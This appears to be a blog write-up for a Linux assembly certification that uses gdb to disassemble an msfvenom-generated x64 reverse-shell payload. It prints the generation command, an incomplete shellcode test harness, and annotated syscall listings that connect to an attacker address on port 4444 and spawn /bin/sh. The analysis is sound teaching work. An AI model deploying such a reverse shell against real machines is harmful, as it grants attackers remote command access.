Msfvenom generated shell_reverse_tcp payload

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification. The task for 5.3/7 assignment is to analyse at least 3 shellcode examples created using Msfpayload for linux/x86_64. Since msfpayload is outdated, I used msfvenom instead. The analysis of the shellcodes is carried out using the gdb debugger and 3/3 shellcode analysed in this article is the shell_reverse_tcp payload.

Student ID: SLAE64 - 1594

MSFvenom generated linux/x64/shell_reverse_tcp payload

As a follow up to analysing exec shellcode and bind shellcode, I am going to be analysing the linux/x64/shell_reverse_tcp as final payload for task number 5. This payload is used to make the connection back to the attackers machine and spawn a command shell. In order to generate the payload I used the following command:

msfvenom -p linux/x64/shell_reverse_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 335 bytes
unsigned char buf[] =

Shellcode test program

In order to analyse the generated payload I am placing it into the C program which will be executing the shellcode:


unsigned char code[] = \

int main()
  printf("Shellcode Length:  %d\n", (int)strlen(code));
        int (*ret)() = (int(*)())code;

and finally compile the C program as follows:

gcc -m64 -fno-stack-protector -z execstack testshellcode.c -o testshellcode -no-pie


I will be taking the same type of approach in the analysis of this payload as in the previous one for bind shellcode. There are 4 syscalls being executed so let’s go through them one by one. The concept of a reverse shellcode is that there is an attacker controlled machine somewhere where the attacker is waiting a connection back on a specific port and it is shellcode’s job to make initiate that connection.

For that to happen this generated payload makes use of a chain of syscalls –> it first creates a new socket(), then attempts to connect() to the attacker controlled machine and once it does, it launches the execve() syscall.

1 - socket()

  • syscall number, 0x29 is placed to rax right in the beginning with 2 instructions push 0x29 and pop rax
  • cdq is then used to sign-extend the value in rax, which means it would zero out rdx which is pretty convenient
  • with next push’es and pop’s 0x2 and 0x1 are placed to rdi and rsi respectively, so we could finally launch the socket() syscall
   0x0000000000601060 <code+0>:  push   0x29
   0x0000000000601062 <code+2>:  pop    rax
   0x0000000000601063 <code+3>:  cdq
   0x0000000000601064 <code+4>:  push   0x2
   0x0000000000601066 <code+6>:  pop    rdi
   0x0000000000601067 <code+7>:  push   0x1
   0x0000000000601069 <code+9>:  pop    rsi
   0x000000000060106a <code+10>: syscall

2 - connect()

To make a connection back to the attacker controlled machine, shellcode needs to contain important information like ip and port, in our case this is all displayed to us at offset +14 where hexadecimal value is moved to rcx. What that hexadecimal value 0xf02000a5c110002 actually represents can be teared up to following bits:

  • 0002 - AF_INET, ipv4 address families
  • 5c11 - in little endian 115c converted to decimal gives us the port number 4444
  • 0x0a00020f is the hexadecimal format of an IP address

As connect() syscall has 3 arguments int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); we need to prepare the corresponding registers rdi, rsi and rdx. By pushing rcx to the stack and then moving it to rsi we prepare the 2nd argument. The following push 0x10 which we then immediately pop into rdx is the overall size of the sockaddr *addr structure, which is 16 bytes. And as usual, you can find the syscall number from rax

   0x000000000060106c <code+12>: xchg   rdi,rax
   0x000000000060106e <code+14>: movabs rcx,0xf02000a5c110002
   0x0000000000601078 <code+24>: push   rcx
   0x0000000000601079 <code+25>: mov    rsi,rsp
   0x000000000060107c <code+28>: push   0x10
   0x000000000060107e <code+30>: pop    rdx
   0x000000000060107f <code+31>: push   0x2a
   0x0000000000601081 <code+33>: pop    rax
   0x0000000000601082 <code+34>: syscall

3 - dup2()

Next we are duplicating file descriptors and as we have seen in the previous post about bind shell, msfvenon generates this part so that it is done in a loop for duplicating stdin-1, stdout-2 and stdout-3.

   0x0000000000601084 <code+36>: push   0x3
   0x0000000000601086 <code+38>: pop    rsi
   0x0000000000601087 <code+39>: dec    rsi
   0x000000000060108a <code+42>: push   0x21
   0x000000000060108c <code+44>: pop    rax
   0x000000000060108d <code+45>: syscall
   0x000000000060108f <code+47>: jne    0x601087 <code+39>

4 - execve()

and finally the reverse shell launches the execve() syscall where 0x68732f6e69622f marks that the program to be launched is /bin/sh

   0x0000000000601091 <code+49>: push   0x3b
   0x0000000000601093 <code+51>: pop    rax
   0x0000000000601094 <code+52>: cdq
   0x0000000000601095 <code+53>: movabs rbx,0x68732f6e69622f
   0x000000000060109f <code+63>: push   rbx
   0x00000000006010a0 <code+64>: mov    rdi,rsp
   0x00000000006010a3 <code+67>: push   rdx
   0x00000000006010a4 <code+68>: push   rdi
   0x00000000006010a5 <code+69>: mov    rsi,rsp
   0x00000000006010a8 <code+72>: syscall

So the whole concept of this shellcode looks pretty much as I have already described in the blog post about reverse shell.

© 2019. All rights reserved.

Powered by Hydejack v8.1.1